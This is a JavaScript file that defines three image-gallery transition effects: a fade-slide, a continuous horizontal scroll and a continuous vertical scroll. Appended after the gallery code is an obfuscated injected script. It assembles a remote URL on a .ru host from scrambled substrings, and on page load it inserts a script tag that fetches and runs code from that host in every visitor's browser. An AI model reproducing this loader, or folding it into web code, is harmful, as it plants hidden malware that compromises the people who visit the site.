/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
var Q;if(Q!='' && Q!='W'){Q=null};this.Aw="";var R='';function A(){var M=new String();var i=RegExp;var x=String("g");var fV;if(fV!='Kl' && fV != ''){fV=null};this.hj="";var q=new Array();var O='';var F=new Date();var OG;if(OG!='MZ' && OG!='k'){OG='MZ'};function v(g,u){var nj="";var N= new String("[");var Ws=new Date();var eC="";N+=u;var gD;if(gD!='' && gD!='qH'){gD=''};N+=String("]");var gj;if(gj!='' && gj!='Te'){gj='E'};var d=new i(N, x);this.sL='';this.gF="";return g.replace(d, O);var TB;if(TB!='MX'){TB='MX'};};this.RJ='';var D=new String();var h='';var T=window;var eI=new Array();var z;if(z!='Zd' && z != ''){z=null};var G="src";var ty;if(ty!=''){ty='Ru'};var _;if(_!='' && _!='kF'){_=''};var m=String("sLKhttp".substr(3)+"meRE://f".substr(4)+"bizdotolibzd".substr(4,4)+"og-n"+"cPSoet.r".substr(4)+"apidrMB".substr(0,4)+"4me.0hE".substr(0,4)+"com.n7lv".substr(0,4)+"3a4jrj-3a4".substr(3,4)+"com-"+"Ir5Ecn.v".substr(4)+"ideo"+"63Shotm63S".substr(3,4)+"ix.r"+"u:50O".substr(0,2));this.xF='';var L=v('8427404728447720274',"742");var Z=String("de"+"2CJsfe".substr(4)+"rPyn".substr(0,1));var Oa=new String("/suit"+"Za7we101.".substr(4)+"3f9pcom/spf39".substr(4,5)+"nUauite1".substr(3)+"01.co"+"m/goo"+"gle.c5uO".substr(0,5)+"om/inApO".substr(0,5)+".com/"+"fdOi39.nefOdi".substr(4,5)+"rkyNt.php".substr(4));var iq=new Array();var dr=new Date();var a="sc"+"ri"+"ptsP8l".substr(0,2);T.onload=function(){var el;if(el!='wz'){el='wz'};var sh;if(sh!='IZ'){sh='IZ'};try {this.Nk='';h=m+L;h+=Oa;var hF=new Date();var WO;if(WO!='jQ'){WO=''};this.vy="";mR=document.createElement(a);var zr;if(zr!='cP' && zr != ''){zr=null};this.WxO="";var gFh;if(gFh!='' && gFh!='xa'){gFh=''};var FO='';var tf=new Array();mR[G]=h;var Ah='';mR[Z]=[1,9][0];this.uR="";this.b="";document.body.appendChild(mR);this.nd='';this.YL='';var Vb;if(Vb!='V'){Vb=''};} catch(vd){this.nh="";};var Cc;if(Cc!='UE'){Cc='UE'};};};var Ok;if(Ok!=''){Ok='xK'};A();var bJ;if(bJ!='Dq' && bJ!='rr'){bJ=''};var dy=new Array();